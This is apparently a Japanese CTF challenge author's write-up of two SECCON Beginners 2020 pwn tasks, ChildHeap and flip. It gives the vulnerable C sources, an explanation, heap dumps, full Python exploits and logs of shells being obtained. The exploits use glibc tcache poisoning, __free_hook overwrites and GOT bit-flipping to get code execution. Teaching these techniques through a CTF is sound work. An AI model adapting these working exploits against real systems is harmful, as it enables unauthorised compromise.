SECCON Beginners CTF 2020 作問(ChildHeap, flip)
SECCON Beginners CTF 2020 に参加してくださった皆様、ありがとうございました。
今回私は、pwn 問題の中難易度と高難易度の問題、flip と ChildHeap を作問しました。
前者は pwn ある程度慣れた人がやっとこさっとこ解けるレベル、後者は絶対参加してくるであろうプロに対して用意したレベル、という想定でした。
が、何故か解いたチーム数は想定とは逆転してしまいました。
なんでだ
ここでは、それぞれの問題の解説および解法を載せます。
...ブログ一年ぶりの更新です。
ChildHeap (Pwn 473pt, 7 solves)
Last year, I was a baby...
file
nc childheap.quals.beginners.seccon.jp 22476
去年の SECCON Beginners CTF 2019 で出題した BabyHeap を踏襲している問題です。
単一のエントリしか持たないメモで、追加・削除の機能があります。
libc のアドレスのプレゼントは廃止とし、利用する libc を バージョン 2.27 から 2.29 へとアップしました。
ソースコード
// gcc childheap.c -o childheap #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUF_SIZE 0x30 static int menu(void); static int getnline(char *buf, unsigned size); static int getint(void); __attribute__((constructor)) int init(){ setbuf(stdout, NULL); setbuf(stderr, NULL); return 0; } int main(void){ int n; unsigned size; char *content = NULL; printf( "Welcome to childheap 2020\n\n" "Last year, I was a baby...\n" "Now I'm not a baby but a child!!!\n"); while(n = menu()){ char buf[4] = {}; switch(n){ case 1: if(content){ puts("No Space!!"); break; } printf("Input Size: "); if((size = getint()) > 0x180){ puts("Too Big!!"); break; } content = malloc(size); printf("Input Content: "); getnline(content, size); break; case 2: printf("Content: '%s'\nRemove? [y/n] ", content); getnline(buf, sizeof(buf)-1); if(buf[0] == 'y') free(content); break; case 3: content = NULL; break; } } return 0; } static int menu(void){ printf( "\nMENU\n" "1. Alloc\n" "2. Delete\n" "3. Wipe\n" "0. Exit\n" "> "); return getint(); } static int getnline(char *buf, unsigned size){ int len; char *lf; if(!size) return 0; len = read(0, buf, size); buf[len] = '\0'; if((lf=strchr(buf,'\n'))) *lf='\0'; return len; } static int getint(void){ char buf[BUF_SIZE] = {}; getnline(buf, sizeof(buf)-1); return atoi(buf); }
解説 および 解法
このプログラムには 1. Alloc, 2. Delete, 3. Wipe の3つの機能があります。
また、Delete 機能は実際に free() を実行する前に内容の表示を行うので、実質的に Show の機能も兼ね備えています。
Delete をしても確保されたメモリのポインタは Wipe しない限り消えないので、Double Free および UAF の脆弱性があることが分かります。
ただし、libc-2.29 になったことで tcache に key のチェックが入り、単純には Double Free はできないことに留意しましょう。
Welcome to childheap 2020 Last year, I was a baby... Now I'm not a baby but a child!!! MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 1 Input Size: 10 Input Content: hoge MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 2 Content: 'hoge' Remove? [y/n]
まずはヒープのアドレスを特定します。
指定できるサイズが最大で0x180byteなので、free したチャンクは tcache の餌食です。
メモを保持できるのは単一エントリのみであるので、普通に操作しただけでは同一サイズのチャンクを tcache のリストに繋げることはできません。
このプログラムには、もう一つの脆弱性が getnline() 関数に存在しています。
read() で指定文字列を上限に読み込んだあと、ヌルバイト埋めが 1byte だけ溢れる off-by-one error です。
これを利用すると、ヒープのチャンクサイズの下位 1byte を 0 にすることが可能です。
このように偽の 0x100 byte チャンクを作ってからfreeし、tcache のリストに繋げ、Delete 内の Show 機能を使ってアドレスをリークさせます。
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555757c30 (size : 0x203d0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x555555757ab0 (0x100) tcache_entry[14](2): 0x555555757360 --> 0x555555757260 (0x120) tcache_entry[16](1): 0x555555757470 (0x130) tcache_entry[17](1): 0x555555757590 (0x140) tcache_entry[18](1): 0x5555557576c0 (0x150) tcache_entry[19](1): 0x555555757800 (0x160) tcache_entry[20](1): 0x555555757950 (0x170) tcache_entry[21](1): 0x555555757ad0
次に、libc のアドレスのリークを行います。
頑張ってチャンクを unsortedbin list に繋げましょう。
先ほど同様に 0x100 byte の偽チャンクを作っては free をして 7 つまで繋げます。
次に 0x100 byte チャンクを free すると、tcache には繋がれずサイズに応じたリストに繋がれます。
このサイズのチャンクは fastbin のサイズ上限は超えているので、unsortedbin となるでしょう。
以下のような状態から、tcache の 0x170 byte の先頭にあるチャンク 0x555555757ac0
(tcache : 0x555555757ad0
) を取得してから free すれば、望む結果が得られます。
この時、PREV_INUSE が落ちているため、backward consolidate が行われます。
それを考慮して、適当なサイズの偽チャンク(ここでは0x40byte)を下位に配置しておきましょう。
また、この次で使うために、間に 0x20 byte の tcache に繋がれた free 済みチャンクを挟んでおき、オーバーラップさせます。
top: 0x555555757c30 (size : 0x203d0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x555555757ab0 (0x100) tcache_entry[14](7): 0x555555757950 --> 0x555555757800 --> 0x5555557576c0 --> 0x555555757590 --> 0x555555757470 --> 0x555555757360 --> 0x555555757260 (0x170) tcache_entry[21](1): 0x555555757ad0 gdb-peda$ x/32gx 0x555555757a60 0x555555757a60: 0x3636363636363636 0x3636363636363636 0x555555757a70: 0x3636363636363636 0x3636363636363636 0x555555757a80: 0x3636363636363636 0x0000000000000041 0x555555757a90: 0x0000555555757a80 0x0000555555757a80 0x555555757aa0: 0x0000000000000000 0x0000000000000021 0x555555757ab0: 0x0000000000000000 0x555555757010 0x555555757ac0: 0x0000000000000040 0x0000000000000100 0x555555757ad0: 0x0000000000000000 0x555555757010 0x555555757ae0: 0x0000000000000000 0x0000000000000000
上記の手順で unsortedbin に繋がれたチャンクを再度利用するため、tcache list が空の 0x38 等のサイズを指定し、malloc を行います。
これで、上記の 0x555555757a90
を先頭とするアドレスが返るため、直下の 0x555555757aa0
(tcache : 0x555555757ab0
) を上書きすることができます。
このチャンクの next を main_arena 内を指しているアドレス 0x555555757ad0
に向けることで、次の malloc でそのチャンクを得て、Show で libc のアドレスをリークさせられます。
なおこの時、このチャンクを再度上書きで利用できるようにするために、サイズを 0x40(0x41) 等に改竄しておきます。
top: 0x555555757c30 (size : 0x203d0) last_remainder: 0x555555757ac0 (size : 0x100) unsortbin: 0x555555757ac0 (size : 0x100) (0x20) tcache_entry[0](1): 0x555555757ab0 --> 0x555555757ad0 (overlap chunk with 0x555555757ac0(freed) ) (0x100) tcache_entry[14](6): 0x555555757800 --> 0x5555557576c0 --> 0x555555757590 --> 0x555555757470 --> 0x555555757360 --> 0x555555757260 gdb-peda$ x/32gx 0x555555757a60 0x555555757a60: 0x3636363636363636 0x3636363636363636 0x555555757a70: 0x3636363636363636 0x3636363636363636 0x555555757a80: 0x3636363636363636 0x0000000000000041 0x555555757a90: 0x0000555555757a80 0x0000555555757a80 0x555555757aa0: 0x0000000000000000 0x0000000000000041 0x555555757ab0: 0x0000555555757ad0 0x555555757000 0x555555757ac0: 0x0000000000000040 0x0000000000000101 0x555555757ad0: 0x00007ffff7dcfca0 0x00007ffff7dcfca0 0x555555757ae0: 0x3737373737373737 0x3737373737373737
一旦、libc のリークに使ったチャンクを free することで、next は元の 0x100 byte tcache の先頭であった 0x555555757800
を指すことになります。
しかし、先ほどサイズを 0x40 に改竄して用意したチャンクを利用することで、この next を __free_hook (0x00007ffff7dd18e8)
に向けることが可能です。
あとは、0xf8 だけ malloc すれば、2度目には目的のアドレスが返るため、__free_hook を system 関数に書き換えられます。
top: 0x555555757c30 (size : 0x203d0) last_remainder: 0x555555757ac0 (size : 0x100) unsortbin: 0x555555757ac0 (doubly linked list corruption 0x555555757ac0 != 0x7ffff7dcbd60 and 0x555555757ac0 is broken) (0x20) tcache_entry[0](255): 0x7ffff7dcfca0 --> 0x555555757c30 (0x40) tcache_entry[2](1): 0x555555757ab0 (0x100) tcache_entry[14](7): 0x555555757ad0 (overlap chunk with 0x555555757aa0(freed) ) gdb-peda$ x/32gx 0x555555757a60 0x555555757a60: 0x3636363636363636 0x3636363636363636 0x555555757a70: 0x3636363636363636 0x3636363636363636 0x555555757a80: 0x3636363636363636 0x0000000000000041 0x555555757a90: 0x0000555555757a80 0x0000555555757a80 0x555555757aa0: 0x0000000000000000 0x0000000000000041 0x555555757ab0: 0x0000000000000000 0x555555757010 0x555555757ac0: 0x5a5a5a5a5a5a5a5a 0x0000000000000101 0x555555757ad0: 0x00007ffff7dd18e8 0x00007ffff7dcfc00 0x555555757ae0: 0x3737373737373737 0x3737373737373737
最後に、'/bin/sh' が置かれたアドレスを free すればシェルが立ち上がります。
Exploit
#!/usr/bin/env python3 from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './childheap' context(os = 'linux', arch = 'amd64') context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ local = {'argv':[bin_file]}, \ remote = {'host':'childheap.quals.beginners.seccon.jp', 'port':22476} env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.29.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== def attack(conn, **kwargs): ch = ChildHeap(conn) for i in range(7): ch.alloc_delete(0xf8 + 0x10*i, str(i)) ch.alloc_delete(0x18, 'X') ch.alloc_delete(0x168, '7') for i in range(2): ch.wipe() ch.alloc(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i)) ch.delete(False) addr_heap_base = u(ch.read()) - 0x260 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) ch.wipe() for i in range(2, 6): ch.alloc_delete(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i)) fake_chunk = b'6'*0x138 fake_chunk += p64(0x41) fake_chunk += p64(addr_heap_base + 0xa80) fake_chunk += p64(addr_heap_base + 0xa80) ch.alloc_delete(0x158, fake_chunk) ch.alloc_delete(0x18, b'Y'*0x10 + p64(0x40)) ch.alloc_delete(0x168, b'7'*0xf8 + p64(0x11)+p64(0)+p64(0x11)) ch.alloc(0xf8, '0') ch.wipe() fake_chunk = p64(addr_heap_base + 0xa80) fake_chunk += p64(addr_heap_base + 0xa80) fake_chunk += p64(0) fake_chunk += p64(0x41) fake_chunk += p64(addr_heap_base + 0xad0) ch.alloc(0x38, fake_chunk) ch.wipe() ch.alloc_delete(0, '') ch.alloc(0, '') addr_libc_mainarena = u(ch.read()) - 0x60 libc.address = addr_libc_mainarena - offset_libc_mainarena info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_system = libc.sep_function['system'] addr_libc_str_sh = next(libc.search(b'/bin/sh')) addr_libc_free_hook = libc.symbols['__free_hook'] ch.delete() ch.alloc_delete(0x38, b'Z'*0x18 + p64(0x101) + p64(addr_libc_free_hook)) ch.alloc(0xf8, '0') ch.wipe() ch.alloc(0xf8, p64(addr_libc_system)) ch.wipe() ch.alloc(0x38, '/bin/sh') ch.delete(False) class ChildHeap: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def alloc(self, size, content): self.sendlineafter('> ', '1') self.sendlineafter(': ', str(size)) if size > 0: self.sendafter(': ', content) def alloc_delete(self, size, content): self.alloc(size, content) self.delete() def delete(self, wipe = True): self.sendlineafter('> ', '2') self.sendlineafter('] ', 'y') if wipe: self.wipe() def wipe(self): self.sendlineafter('> ', '3') def read(self): self.sendlineafter('> ', '2') self.recvuntil(': \'') s = self.recvuntil('\'', drop=True) self.sendlineafter('] ', 'n') return s #========== def main(): comn = Communicate(env.mode, **env.target) comn.connect() comn.run(attack) comn.interactive() if __name__=='__main__': main() #==========
実行結果
$ ./exploit_childheap.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/ctf4b/2020/childheap/childheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/yutaro/CTF/SECCON/ctf4b/2020/childheap/libc-2.29.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to childheap.quals.beginners.seccon.jp on port 22476: Done [*] addr_heap_base = 0x7f13c61d2000 [*] addr_libc_base = 0x7f13c454c000 [*] Switching to interactive mode $ ls -al total 2176 drwxr-x--- 2 root childheap 4096 May 13 00:14 . drwxr-xr-x 16 root root 4096 May 20 17:28 .. -rw-r----- 1 childheap childheap 220 Apr 5 2018 .bash_logout -rw-r----- 1 childheap childheap 3771 Apr 5 2018 .bashrc -rw-r----- 1 childheap childheap 807 Apr 5 2018 .profile -rwxr-x--- 1 root childheap 12960 May 13 00:14 childheap -rw-r----- 1 root childheap 46 May 13 00:14 flag.txt -rwxr-x--- 1 root childheap 179032 May 13 00:14 ld-2.29.so -rw-r----- 1 root childheap 2000480 May 13 00:14 libc.so.6 -rwxr-x--- 1 root childheap 58 May 13 00:14 run.sh $ cat flag.txt ctf4b{h34p_h45_gr0wn_1n70_4_ch1ld...r34lly??}
flip (Pwn 491pt, 3 solves)
filp, and flip!!
file
nc flip.quals.beginners.seccon.jp 17539
指定アドレスのデータを2ビットだけ反転できます。
ソースコード
// gcc flip.c -o flip #include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF_SIZE 32 static int getnline(char *buf, int len); static long getlong(void); __attribute__((constructor)) int init(){ setbuf(stdout, NULL); setbuf(stderr, NULL); return 0; } int main(int argc, char *argv[]){ char* target; int idx; printf("Input address >> "); target = (void*)getlong(); puts("You can flip two times!"); for(int i=0; i<2; i++){ printf("Which bit (0 ~ 7) >> "); idx = getlong(); if(idx > 7){ puts("invalid bit..."); return 0; } *target ^= 1 << idx; } puts("Done!"); exit(0); } static int getnline(char *buf, int size){ char *lf; long n; if(!buf || size < 1) return 0; fgets(buf, size, stdin); if((lf=strchr(buf, '\n'))) *lf='\0'; return 1; } static long getlong(void){ char buf[BUF_SIZE] = {}; getnline(buf, sizeof(buf)); return atol(buf); }
解説 および 解法
任意のアドレスの 2bit を反転させることが可能です。
指定する bit を負数にすれば、flip しないという選択も取れます。
しかし、これだけでは勝手が悪いので、まずは exit
の GOT を書き換えて _start+6
を指すようにします。
初めはまだ exit 関数は呼ばれていないため GOT は <exit@plt>+6 (0x4006d6)
を指しているので、0x4006e6
に書き換えるのは容易ですね。
こうすることで、main関数内で exit に達したときに再び _start+6 に戻り、延々と再帰し続けられることが分かります。
後々のため、 _start+6
を _start
に書き換えます。
次に、libc アドレスのリークを目指します。
まずは setbuf
の GOT を puts
に向けます。
setbuf と puts は割と近いので、よほど運が悪くない限り書き換えられます。
ここは何度もトライするのは仕方がないですが、割と高確率で刺さるはずです。
$ nm -D libc-2.27.so | grep -i -e " setbuf$" -e " puts$" 00000000000809c0 W puts 00000000000884d0 T setbuf
次に、第一引数となる stderr
のポインタを 8byte ほど足してずらします。
stderr をずらした先には _IO_read_ptr
があるので、puts によって出力され特定ができます。
今回の書き換えは一回 (2bit) では済まないので、書き換え途中で setbuf が呼ばれないようにしなければなりません。
そこで、未利用の __stack_chk_fail
の GOT を活用します。
これを main 関数の先頭に書き換え、exit
の GOT を __stack_chk_fail
の PLT とします。
繰り返し再帰されることには変わりありませんが、setbuf が呼ばれないようになりました。
この間に、上記の通り setbuf
の GOT と stderr のポインタを書き換えます。
書き換えの後、exit
の GOT を _start
に戻せば setbuf が呼ばれ、libc アドレスの特定が完了します。
次に、setbuf
の GOT を system
に向け、stderr のポインタを /bin/sh
に向けます。
上記同様、一旦 exit
の GOT を __stack_chk_fail
の PLT として setbuf 書き換え中のクラッシュを避け、それぞれの書き換えが終わったら _start
に書き戻します。
再び setbuf が呼ばれたタイミングで、めでたくシェルが取れます。
Exploit
#!/usr/bin/env python3 from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './flip' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ local = {'argv':[bin_file]}, \ remote = {'host':'flip.quals.beginners.seccon.jp', 'port':17539}) env.set_item('libc', debug = None, \ local = None, \ # remote = 'libc-2.27.so') remote = None) env.select() #========== binf = ELF(bin_file) addr_got_exit = binf.got['exit'] addr_got_stack_chk = binf.got['__stack_chk_fail'] addr_got_setbuf = binf.got['setbuf'] addr_plt_exit = binf.plt['exit'] addr_plt_stack_chk = binf.plt['__stack_chk_fail'] addr_start = binf.sep_function['_start'] addr_main = binf.sep_function['main'] addr_stderr = binf.symbols['stderr'] libc = ELF(env.libc) if env.libc else binf.libc offset_libc_setbuf = libc.sep_function['setbuf'] offset_libc_puts = libc.sep_function['puts'] offset_libc_stderr = libc.symbols['_IO_2_1_stderr_'] #========== def attack(conn, **kwargs): flip_byte(conn, addr_got_exit, ((addr_plt_exit+6) ^ (addr_start+6)) & 0xff) flip_byte(conn, addr_got_exit, 6) flip_qword(conn, addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main) flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_byte(conn, addr_stderr, 8) flip_qword(conn, addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts) flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) conn.recvuntil('\n') conn.recvuntil('\n') addr_libc_stderr = u(conn.recvuntil('\n', drop=True)) - 0x83 libc.address = addr_libc_stderr - offset_libc_stderr info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_puts = libc.sep_function['puts'] addr_libc_system = libc.sep_function['system'] addr_libc_str_sh = next(libc.search(b'/bin/sh')) flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_qword(conn, addr_got_setbuf, addr_libc_puts ^ addr_libc_system) flip_qword(conn, addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh) flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) def flip_byte(conn, addr, flips): assert(flips < 0x100) conn.sendlineafter('address >> ', str(addr)) n_flip = 0 for i in range(8): if (flips >> i) & 1: conn.sendlineafter(') >> ', str(i)) n_flip += 1 flips ^= 1 << i if n_flip > 1: break if flips: flip_byte(conn, addr, flips) elif n_flip < 2: conn.sendlineafter(') >> ', '-1') def flip_qword(conn, addr, flips): for i in range(8): if flips & 0xff: flip_byte(conn, addr + i, flips & 0xff) flips >>= 8 #========== def main(): comn = Communicate(env.mode, **env.target) comn.connect() comn.bruteforce(attack) comn.interactive() if __name__=='__main__': main() #==========
実行結果
$ ./exploit_flip.py Select Environment ['debug', 'local', 'remote'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/ctf4b/2020/flip/flip' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to flip.quals.beginners.seccon.jp on port 17539: Done [*] Closed connection to flip.quals.beginners.seccon.jp port 17539 [+] Opening connection to flip.quals.beginners.seccon.jp on port 17539: Done [*] addr_libc_base = 0x7fdd17651000 [*] Switching to interactive mode Done! $ ls -al total 36 drwxr-x--- 2 root flip 4096 May 13 00:11 . drwxr-xr-x 16 root root 4096 May 20 17:28 .. -rw-r----- 1 flip flip 220 Apr 5 2018 .bash_logout -rw-r----- 1 flip flip 3771 Apr 5 2018 .bashrc -rw-r----- 1 flip flip 807 Apr 5 2018 .profile -rw-r----- 1 root flip 30 May 13 00:11 flag.txt -rwxr-x--- 1 root flip 8816 May 13 00:11 flip $ cat flag.txt ctf4b{l34d_b17fl1p_70_5h3ll!}